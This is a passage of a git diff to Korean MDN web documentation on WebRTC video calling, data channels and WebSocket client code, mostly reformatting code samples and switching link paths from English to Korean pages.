 function invite(evt) {
@@ -240,7 +238,9 @@ function invite(evt) {
     var clickedUsername = evt.target.textContent;
 
     if (clickedUsername === myUsername) {
-      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      alert(
+        "I'm afraid I can't let you talk to yourself. That would be weird.",
+      );
       return;
     }
 
@@ -248,12 +248,13 @@ function invite(evt) {
 
     createPeerConnection();
 
-    navigator.mediaDevices.getUserMedia(mediaConstraints)
-    .then(function(localStream) {
-      document.getElementById("local_video").srcObject = localStream;
-      myPeerConnection.addStream(localStream);
-    })
-    .catch(handleGetUserMediaError);
+    navigator.mediaDevices
+      .getUserMedia(mediaConstraints)
+      .then(function (localStream) {
+        document.getElementById("local_video").srcObject = localStream;
+        myPeerConnection.addStream(localStream);
+      })
+      .catch(handleGetUserMediaError);
   }
 }
 ```
@@ -262,9 +263,9 @@ function invite(evt) {
 
 그 다음에 call을 하려는 유저의 이름을 `targetUsername`변수 안에 넣고 `createPeerConnection()`함수를 실행시킨다. 이 함수는 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection) 의 기본적인 구성과 기능을 수행한다.
 
-`RTCPeerConnection` 이 생성되면, [`Navigator.mediaDevices.getUserMedia`](/en-US/docs/Web/API/MediaDevices/getUserMedia)함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 [`srcObject`](/ko/docs/Web/API/MediaElement/srcObject)property에 설정한다. 그리고 [`<video>`](/ko/docs/Web/HTML/Element/Video)element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.
+`RTCPeerConnection` 이 생성되면, [`Navigator.mediaDevices.getUserMedia`](/ko/docs/Web/API/MediaDevices/getUserMedia)함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 [`srcObject`](/ko/docs/Web/API/MediaElement/srcObject)property에 설정한다. 그리고 [`<video>`](/ko/docs/Web/HTML/Element/Video)element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.
 
-그 다음에 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)에 stream을 추가하기 위해 [`myPeerConnection.addStream()`](/en-US/docs/Web/API/RTCPeerConnection/addStream)함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.
+그 다음에 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)에 stream을 추가하기 위해 [`myPeerConnection.addStream()`](/ko/docs/Web/API/RTCPeerConnection/addStream)함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.
 
 만약 local media stream을 가져오는 동안 에러가 발생한다면, `catch` clause가 `handleGetUserMediaError()`함수를 불러 필요에 따라 유저에게 적절한 에러 메세지를 보여줄 것이다.
 
@@ -274,10 +275,12 @@ function invite(evt) {
 
 ```js
 function handleGetUserMediaError(e) {
-  switch(e.name) {
+  switch (e.name) {
     case "NotFoundError":
-      alert("Unable to open your call because no camera and/or microphone" +
-            "were found.");
+      alert(
+        "Unable to open your call because no camera and/or microphone" +
+          "were found.",
+      );
       break;
     case "SecurityError":
     case "PermissionDeniedError":
@@ -319,9 +322,9 @@ function createPeerConnection() {
 // …
 ```
 
-웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 [`location.hostname`](/en-US/docs/Web/API/Location/hostname)을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.
+웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 [`location.hostname`](/ko/docs/Web/API/Location/hostname)을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.
 
-`RTCPeerConnection`을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트([ICE](/en-US/docs/Glossary/ICE) layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 `iceServers`이다. **(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다)**. WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.
+`RTCPeerConnection`을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트([ICE](/ko/docs/Glossary/ICE) layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 `iceServers`이다. **(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다)**. WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.
 
 > **참고:** 직접 만든 혹은 사용할 권한을 가지고 있는 STUN/TURN 서버를 사용해야 한다.
 
@@ -346,38 +349,40 @@ function createPeerConnection() {
 위에 있는 이벤트 핸들러 중 처음 두 개는 필수이다. WebRTC로 스트리밍된 미디어와 관련된 것들을 다루기위해 두 핸들러를 설정해야한다. [`removestream`](/ko/docs/Web/Reference/Events/removestream)event는 스트리밍이 중단된 것을 감지하는데 유용하다. 따라서 아마 이것도 사용하게 될 것이다. 남아 있는 4개는 필수적인 것은 아니나, 직접 사용해보자. 이것들 외에도 다른 이벤트들을 사용할 수 있으나 여기에서는 다루지 않겠다. 각 핸들러에 관한 요약 설명이다.
 
 - {{domxref("RTCPeerConnection.onicecandidate")}}
-  - : 로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 [`icecandidate`](/en-US/docs/Web/API/RTCPeerConnection/icecandidate_event)event handler를 호출한다.
+  - : 로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 [`icecandidate`](/ko/docs/Web/API/RTCPeerConnection/icecandidate_event)event handler를 호출한다.
 - {{domxref("RTCPeerConnection.onaddstream")}}
   - : [`addstream`](/ko/docs/Web/Events/addstream)event를 위한 이 핸들러는 너의 커넥션에 remote stream이 추가된 것을 알려주기 위해, 로컬 WebRTC layer에 의해 불려진다. 예를들어, 이것은 들어오는 stream을 element에 연결시켜 디스플레이 되게 만들 때 사용된다. 더 자세한 내용은 [Receiving new streams](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Receiving_new_streams) 을 참조해라.
 - {{domxref("RTCPeerConnection.onremovestream")}}
-  - : 커넥션에서 remote가 stream을 제거할 때, `onaddstream`의 반대인 `onremovestream은` [`removestream`](/en-US/docs/Web/API/RTCPeerConnection/removestream_event) event을 처리하기위해 실행된다.
+  - : 커넥션에서 remote가 stream을 제거할 때, `onaddstream`의 반대인 `onremovestream은` [`removestream`](/ko/docs/Web/API/RTCPeerConnection/removestream_event) event을 처리하기위해 실행된다.
 - {{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
-  - : ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 [`iceconnectionstatechange`](/en-US/docs/Web/API/RTCPeerConnection/iceconnectionstatechange_event) event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 [ICE connection state](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_connection_state) 에서 볼 것이다.
+  - : ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 [`iceconnectionstatechange`](/ko/docs/Web/API/RTCPeerConnection/iceconnectionstatechange_event) event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 [ICE connection state](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_connection_state) 에서 볼 것이다.
 - {{domxref("RTCPeerConnection.onicegatheringstatechange")}}
-  - : 하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 [`icegatheringstatechange`](/en-US/docs/Web/API/RTCPeerConnection/icegatheringstatechange_event) event를 보낸다. 아래의 [ICE gathering state](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_gathering_state) 을 참조해라.
+  - : 하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 [`icegatheringstatechange`](/ko/docs/Web/API/RTCPeerConnection/icegatheringstatechange_event) event를 보낸다. 아래의 [ICE gathering state](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#ICE_gathering_state) 을 참조해라.
 - {{domxref("RTCPeerConnection.onsignalingstatechange")}}
-  - : 시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 [`signalingstatechange`](/en-US/docs/Web/API/RTCPeerConnection/signalingstatechange_event) message를 보낸다. [Signaling state](https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#) 에서 코드를 볼 수 있다.
+  - : 시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 [`signalingstatechange`](/ko/docs/Web/API/RTCPeerConnection/signalingstatechange_event) message를 보낸다. [Signaling state](https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#) 에서 코드를 볼 수 있다.
 - {{domxref("RTCPeerConnection.onnegotiationneeded")}}
   - : 이 함수는 WebRTC 인프라가 session negotiation 프로세스를 새로 시작해야할 때마다 불린다. 이것의 일은 callee에게 offer를 생성 후 전달하고, 우리에게 연결을 할 것인지 물어보는 것이다. 어떻게 처리하는지 [Starting negotiation](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_negotiation) 를 참조해라.
 
 #### Starting negotiation
 
-Caller가 자신의 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)과 media stream을 생성하고 [Starting a call](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_a_call)에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 [`negotiationneeded`](/en-US/docs/Web/API/RTCPeerConnection/negotiationneeded_event) event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.
+Caller가 자신의 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)과 media stream을 생성하고 [Starting a call](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling?document_saved=true#Starting_a_call)에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 [`negotiationneeded`](/ko/docs/Web/API/RTCPeerConnection/negotiationneeded_event) event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.
 
 ```js
 function handleNegotiationNeededEvent() {
-  myPeerConnection.createOffer().then(function(offer) {
-    return myPeerConnection.setLocalDescription(offer);
-  })
-  .then(function() {
-    sendToServer({
-      name: myUsername,
-      target: targetUsername,
-      type: "video-offer",
-      sdp: myPeerConnection.localDescription
-    });
-  })
-  .catch(reportError);
+  myPeerConnection
+    .createOffer()
+    .then(function (offer) {
+      return myPeerConnection.setLocalDescription(offer);
+    })
+    .then(function () {
+      sendToServer({
+        name: myUsername,
+        target: targetUsername,
+        type: "video-offer",
+        sdp: myPeerConnection.localDescription,
+      });
+    })
+    .catch(reportError);
 }
 ```
 
@@ -433,7 +438,7 @@ function handleVideoOfferMsg(msg) {
 
 이 코드는 [Starting a call](#starting_a_call)에 있는 `invite()`함수와 매우 비슷하다. 먼저, `createPeerConnection()`함수를 이용해서 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)를 생성하고 구성한다. 그 후에, `"video-offer"`message로부터 얻은 SDP offer를 가지고 caller의 session description을 나타내는 [`RTCSessionDescription`](/ko/docs/Web/API/RTCSessionDescription)object를 생성한다.
 
-그 후에, session description은 [`myPeerConnection.setRemoteDescription()`](/en-US/docs/Web/API/RTCPeerConnection/setRemoteDescription) 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(`then()`clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 `invite()`에서 본 것과 같은 프로세스를 시작한다.
+그 후에, session description은 [`myPeerConnection.setRemoteDescription()`](/ko/docs/Web/API/RTCPeerConnection/setRemoteDescription) 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(`then()`clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 `invite()`에서 본 것과 같은 프로세스를 시작한다.
 
 local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 보내야 한다.
 
@@ -458,17 +463,17 @@ local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 
 }
 ```
 
-[`RTCPeerConnection.addStream()`](/en-US/docs/Web/API/RTCPeerConnection/addStream) 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 [`myPeerConnection.createAnswer()`](/ko/docs/Web/API/RTCPeerConnection/createAnswer)를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 [`myPeerConnection.setLocalDescription`](/ko/docs/Web/API/RTCPeerConnection/setLocalDescription)에 생성한 SDP를 전달한다.
+[`RTCPeerConnection.addStream()`](/ko/docs/Web/API/RTCPeerConnection/addStream) 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 [`myPeerConnection.createAnswer()`](/ko/docs/Web/API/RTCPeerConnection/createAnswer)를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 [`myPeerConnection.setLocalDescription`](/ko/docs/Web/API/RTCPeerConnection/setLocalDescription)에 생성한 SDP를 전달한다.
 
 최종 answer는 caller에게 보내져서, 어떻게 callee에게 닿을 수 있는지 알게해준다. `"video-answer"`message의 `sdp`property에 callee의 answer를 포함하고, caller에게 이 메세지를 전달한다.
 
 에러가 발생하면 `handleGetUserMediaError()`으로 전달되고, [Handling getUserMedia() errors](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Handling_getUserMedia%28%29_errors)에 잘 설명되어 있다.
 
-> **참고:** caller와 마찬가지로 `setLocalDescription()`fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 [`icecandidate`](/en-US/docs/Web/API/RTCPeerConnection/icecandidate_event)event들을 처리하기 시작한다.
+> **참고:** caller와 마찬가지로 `setLocalDescription()`fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 [`icecandidate`](/ko/docs/Web/API/RTCPeerConnection/icecandidate_event)event들을 처리하기 시작한다.
 
 ##### Sending ICE candidates
 
-caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 [`icecandidate`](/en-US/docs/Web/API/RTCPeerConnection/icecandidate_event)event를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.
+caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 [`icecandidate`](/ko/docs/Web/API/RTCPeerConnection/icecandidate_event)event를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.
 
 너의 [`onicecandidate`](/ko/docs/Web/API/RTCPeerConnection/icecandidate_event)handler는 `candidate`property가 candidate의 정보를 담고 있는 SDP(단, candidate들의 끝에는`null`이 찍혀있다) 인 이벤트들을 받는다. 이것이 너의 시그널링 서버를 통해 다른 피어에게 전송해야할 것들이다. 밑에 구현 예제가 있다.
 
@@ -478,7 +483,7 @@ function handleICECandidateEvent(event) {
     sendToServer({
       type: "new-ice-candidate",
       target: targetUsername,
-      candidate: event.candidate
+      candidate: event.candidate,
     });
   }
 }
@@ -495,7 +500,7 @@ function handleICECandidateEvent(event) {
 
 메세지의 포맷(시그널링을 처리하는 모든 메세지들은)은 모두 너의 영역이고, 너가 필요한 것에 달렸다. 너가 또다른 필요한 정보가 있다면 추가할 수 있다. 메세지는 그저 JSON stringfied 되어 상대방에게 전달될 뿐이다.
 
-> **참고:** Call의 다른 피어로부터 ICE candidate가 도착할 때, [`icecandidate`](/en-US/docs/Web/API/RTCPeerConnection/icecandidate_event)event가 전송되는 것이 **아님을 항상 명심해라**. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.
+> **참고:** Call의 다른 피어로부터 ICE candidate가 도착할 때, [`icecandidate`](/ko/docs/Web/API/RTCPeerConnection/icecandidate_event)event가 전송되는 것이 **아님을 항상 명심해라**. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.
 
 ##### Receiving ICE candidates
 
@@ -505,8 +510,7 @@ function handleICECandidateEvent(event) {
 function handleNewICECandidateMsg(msg) {
   var candidate = new RTCIceCandidate(msg.candidate);
 
-  myPeerConnection.addIceCandidate(candidate)
-    .catch(reportError);
+  myPeerConnection.addIceCandidate(candidate).catch(reportError);
 }
 ```
 
@@ -516,7 +520,7 @@ function handleNewICECandidateMsg(msg) {
 
 ##### Receiving new streams
 
-리모트 피어가 [`RTCPeerConnection.addStream()`](/en-US/docs/Web/API/RTCPeerConnection/addStream)를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, [`addstream`](/en-US/docs/Web/API/RTCPeerConnection/addstream_event)event가 발생한다. 어떻게 처리하는지 아래 코드를 보자.
+리모트 피어가 [`RTCPeerConnection.addStream()`](/ko/docs/Web/API/RTCPeerConnection/addStream)를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, [`addstream`](/ko/docs/Web/API/RTCPeerConnection/addstream_event)event가 발생한다. 어떻게 처리하는지 아래 코드를 보자.
 
 ```js
 function handleAddStreamEvent(event) {
@@ -531,7 +535,7 @@ function handleAddStreamEvent(event) {
 
 ##### Handling the removal of streams
 
-리모트 피어가 [`RTCPeerConnection.removeStream()`](/en-US/docs/Web/API/RTCPeerConnection/removeStream)를 호출하여 커넥션으로부터 스트림을 없애면, [`removestream`](/en-US/docs/Web/API/RTCPeerConnection/removeStream)event가 발생하게 된다.
+리모트 피어가 [`RTCPeerConnection.removeStream()`](/ko/docs/Web/API/RTCPeerConnection/removeStream)를 호출하여 커넥션으로부터 스트림을 없애면, [`removestream`](/ko/docs/Web/API/RTCPeerConnection/removeStream)event가 발생하게 된다.
 
 ```js
 function handleRemoveStreamEvent(event) {
@@ -555,7 +559,7 @@ function hangUpCall() {
   sendToServer({
     name: myUsername,
     target: targetUsername,
-    type: "hang-up"
+    type: "hang-up",
   });
 }
 ```
@@ -573,12 +577,12 @@ function closeVideoCall() {
 
   if (myPeerConnection) {
     if (remoteVideo.srcObject) {
-      remoteVideo.srcObject.getTracks().forEach(track => track.stop());
+      remoteVideo.srcObject.getTracks().forEach((track) => track.stop());
       remoteVideo.srcObject = null;
     }
 
     if (localVideo.srcObject) {
-      localVideo.srcObject.getTracks().forEach(track => track.stop());
+      localVideo.srcObject.getTracks().forEach((track) => track.stop());
       localVideo.srcObject = null;
     }
 
@@ -595,7 +599,7 @@ function closeVideoCall() {
 2개의 [`<video>`](/ko/docs/Web/HTML/Element/Video)element를 참조한 이후에, WebRTC 커넥션이 존재하는지 체크한다. 만약 있다면, call을 끊고 닫는다:
 
 1. 리모트와 로컬 비디오 stream에 대해서, 각 track들 마다 [`MediaTrack.stop()`](/ko/docs/Web/API/MediaTrack/stop)를 실행시킨다.
-2. 양 비디오의 [`HTMLMediaElement.srcObject`](/en-US/docs/Web/API/HTMLMediaElement/srcObject)property를 `null`로 바꿔 stream에 관한 모든 참조를 푼다.
+2. 양 비디오의 [`HTMLMediaElement.srcObject`](/ko/docs/Web/API/HTMLMediaElement/srcObject)property를 `null`로 바꿔 stream에 관한 모든 참조를 푼다.
 3. [`myPeerConnection.close()`](/ko/docs/Web/API/RTCPeerConnection/close)를 불러 [`RTCPeerConnection`](/ko/docs/Web/API/RTCPeerConnection)을 닫는다.
 4. `myPeerConnection`변수의 값을 `null`로 바꿔서 계속 진행중인 call이 없다는 것을 전체 코드가 알게 한다. 이것은 유저가 유저 리스트에서 username을 클릭할 때 사용된다.
 
@@ -611,7 +615,7 @@ function closeVideoCall() {
 
 ```js
 function handleICEConnectionStateChangeEvent(event) {
-  switch(myPeerConnection.iceConnectionState) {
+  switch (myPeerConnection.iceConnectionState) {
     case "closed":
     case "failed":
     case "disconnected":
@@ -625,16 +629,16 @@ ICE connection state가 `"closed"`, 또는`"failed"`, 또는 `"disconnected"`으
 
 ##### ICE signaling state
 
-마찬가지로 [`signalingstatechange`](/en-US/docs/Web/API/RTCPeerConnection/signalingstatechange_event)event를 받을 수 있는데, 시그널링 상태가 `"closed"`으로 바뀌면 call을 완전히 종료시킨다.
+마찬가지로 [`signalingstatechange`](/ko/docs/Web/API/RTCPeerConnection/signalingstatechange_event)event를 받을 수 있는데, 시그널링 상태가 `"closed"`으로 바뀌면 call을 완전히 종료시킨다.
 
 ```js
-  myPeerConnection.onsignalingstatechange = function(event) {
-    switch(myPeerConnection.signalingState) {
-      case "closed":
-        closeVideoCall();
-        break;
-    }
-  };
+myPeerConnection.onsignalingstatechange = function (event) {
+  switch (myPeerConnection.signalingState) {
+    case "closed":
+      closeVideoCall();
+      break;
+  }
+};
 ```
 
 ##### ICE gathering state
diff --git a/files/ko/web/api/webrtc_api/using_data_channels/index.md b/files/ko/web/api/webrtc_api/using_data_channels/index.md
index 9b8a8204e4345a..17df7d34602e55 100644
--- a/files/ko/web/api/webrtc_api/using_data_channels/index.md
+++ b/files/ko/web/api/webrtc_api/using_data_channels/index.md
@@ -40,7 +40,7 @@ Data channel의 수동협상을 위해서 우선 {{domxref("RTCPeerConnection")}
 
 ```js
 let dataChannel = pc.createDataChannel("MyApp Channel", {
-  negotiated: true
+  negotiated: true,
 });
 
 dataChannel.addEventListener("open", (event) => {
diff --git a/files/ko/web/api/websocket/index.md b/files/ko/web/api/websocket/index.md
index 532156aaab2e29..714c0fde3869ac 100644
--- a/files/ko/web/api/websocket/index.md
+++ b/files/ko/web/api/websocket/index.md
@@ -57,16 +57,16 @@ slug: Web/API/WebSocket
 
 ```js
 // WebSocket 연결 생성
-const socket = new WebSocket('ws://localhost:8080');
+const socket = new WebSocket("ws://localhost:8080");
 
 // 연결이 열리면
-socket.addEventListener('open', function (event) {
-    socket.send('Hello Server!');
+socket.addEventListener("open", function (event) {
+  socket.send("Hello Server!");
 });
 
 // 메시지 수신
-socket.addEventListener('message', function (event) {
-    console.log('Message from server ', event.data);
+socket.addEventListener("message", function (event) {
+  console.log("Message from server ", event.data);
 });
 ```
 
diff --git a/files/ko/web/api/websocket/websocket/index.md b/files/ko/web/api/websocket/websocket/index.md
index 8583eec72e18ac..60f881dc8bff02 100644
--- a/files/ko/web/api/websocket/websocket/index.md
+++ b/files/ko/web/api/websocket/websocket/index.md
@@ -10,8 +10,8 @@ slug: Web/API/WebSocket/WebSocket
 ## 구문
 
 ```js
-new WebSocket(url)
-new WebSocket(url, protocols)
+new WebSocket(url);
+new WebSocket(url, protocols);
 ```
 
 ### 매개변수
@@ -19,9 +19,10 @@ new WebSocket(url, protocols)
 - `url`
   - : 연결할 URL입니다. WebSocket 서버가 응답할 URL이어야 합니다.
 - `protocols` {{optional_inline}}
+
   - : 하나의 프로토콜 문자열, 또는 프로토콜 문자열로 구성된 배열입니다. 하나의 서버가 다수의 WebSocket 하위 프로토콜을 구현할 수 있도록, 사용할 하위 프로토콜을 가리키기 위한 값입니다. (예를 들어, 지정한 `protocol`에 따라 하나의 서버로 서로 다른 유형의 상호작용을 처리하길 바랄 때 사용할 수 있습니다)
 
-      생략할 때의 기본 값은 빈 배열, 즉 `[]` 입니다.
+    생략할 때의 기본 값은 빈 배열, 즉 `[]` 입니다.
 
 ### 예외
 
diff --git a/files/ko/web/api/websockets_api/writing_websocket_client_applications/index.md b/files/ko/web/api/websockets_api/writing_websocket_client_applications/index.md
index 70d0105145fb28..6b60f73c396df0 100644
--- a/files/ko/web/api/websockets_api/writing_websocket_client_applications/index.md
+++ b/files/ko/web/api/websockets_api/writing_websocket_client_applications/index.md
@@ -3,6 +3,7 @@ title: WebSocket을 이용하여 클라이언트 애플리케이션 작성하기
 slug: Web/API/WebSockets_API/Writing_WebSocket_client_applications
 original_slug: WebSockets/Writing_WebSocket_client_applications
 ---
+
 WebSocket은 ws 프로토콜을 기반으로 클라이언트와 서버 사이에 지속적인 완전 양방향 연결 스트림을 만들어 주는 기술입니다. 일반적인 웹소켓 클라이언트는 사용자의 브라우저일 것이지만, 그렇다고 해서 이 프로토콜이 플랫폼에 종속적이지는 않습니다.
 
 > **참고:** 우리에게는 작동하는 chat/server 시스템 예제 코드 조각이 있습니다. 이는 우리의 인프라가 WebSocket 예제들을 제대로 호스팅할 수 있는 환경이 되면 공유할 것입니다.
@@ -43,7 +44,10 @@ Firefox 11부터는 보통 에러 메세지에 대한 설명이 Mozillia 플랫
 이 간단한 예제는 새 웹소켓 오브젝트를 생성하여 `ws://www.example.com/socketserver` 서버에 접속하는것을 보여줍니다. 이 예제에서는 커스텀 프로토콜인 "protocolOne" 을 리퀘스트에 같이 지정합니다. (이 프로토콜을 지정하는 부분은 생략될 수 있습니다.)
 
 ```js
-var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
+var exampleSocket = new WebSocket(
+  "ws://www.example.com/socketserver",
+  "protocolOne",
+);
 ```
 
 반환된 `exampleSocket` 오브젝트의 `exampleSocket`. `readyState` 값은 `CONNECTING` 입니다. `readyState` 값은 연결이 수립되어 데이터가 전송 가능한 상태가 되면 `OPEN` 으로 변경됩니다.
@@ -51,7 +55,10 @@ var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocol
 만약 여러개의 프로토콜을 유연하게 대응할 수 있는 구조를 가지고 있다면, 연결 시에 배열을 통해 프로토콜의 목록을 지정할 수 있습니다.
 
 ```js
-var exampleSocket = new WebSocket("ws://www.example.com/socketserver", ["protocolOne", "protocolTwo"]);
+var exampleSocket = new WebSocket("ws://www.example.com/socketserver", [
+  "protocolOne",
+  "protocolTwo",
+]);
 ```
 
 연결이 수립되면(`readyState` 가 `OPEN` 이 되었을 때`), exampleSocket.protocol` 값을 조사하여 서버가 어떤 프로토콜을 선택했는지 알아낼 수 있습니다.
@@ -89,8 +96,8 @@ function sendText() {
   var msg = {
     type: "message",
     text: document.getElementById("text").value,
-    id:   clientID,
-    date: Date.now()
+    id: clientID,
+    date: Date.now(),
   };
 
   // Send the msg object as a JSON-formatted string.
@@ -108,7 +115,7 @@ WebSockets는 event-driven API 입니다; 메세지가 수신되면 "message" 
 ```js
 exampleSocket.onmessage = function (event) {
   console.log(event.data);
-}
+};
 ```
 
 ### JSON 오브젝트를 받아서 처리하기
@@ -122,30 +129,38 @@ exampleSocket.onmessage = function (event) {
 위의 메세지들을 받아서 처리하는 코드는 아래와 같을 것 입니다.:
 
 ```js
-exampleSocket.onmessage = function(event) {
+exampleSocket.onmessage = function (event) {
   var f = document.getElementById("chatbox").contentDocument;
   var text = "";
   var msg = JSON.parse(event.data);
   var time = new Date(msg.date);
   var timeStr = time.toLocaleTimeString();
 
-  switch(msg.type) {
+  switch (msg.type) {
     case "id":
       clientID = msg.id;
       setUsername();
       break;
     case "username":
-      text = "<b>User <em>" + msg.name + "</em> signed in at " + timeStr + "</b><br>";
+      text =
+        "<b>User <em>" +
+        msg.name +
+        "</em> signed in at " +
+        timeStr +
+        "</b><br>";
       break;
     case "message":
       text = "(" + timeStr + ") <b>" + msg.name + "</b>: " + msg.text + "<br>";
       break;
     case "rejectusername":
-      text = "<b>Your username has been set to <em>" + msg.name + "</em> because the name you chose is in use.</b><br>"
+      text =
+        "<b>Your username has been set to <em>" +
+        msg.name +
+        "</em> because the name you chose is in use.</b><br>";
       break;
     case "userlist":
       var ul = "";
-      for (i=0; i < msg.users.length; i++) {
+      for (i = 0; i < msg.users.length; i++) {
         ul += msg.users[i] + "<br>";
       }
       document.getElementById("userlistbox").innerHTML = ul;
diff --git a/files/ko/web/api/websockets_api/writing_websocket_servers/index.md b/files/ko/web/api/websockets_api/writing_websocket_servers/index.md
index 2c39400606ff23..b99c8b09629d94 100644
--- a/files/ko/web/api/websockets_api/writing_websocket_servers/index.md
+++ b/files/ko/web/api/websockets_api/writing_websocket_servers/index.md
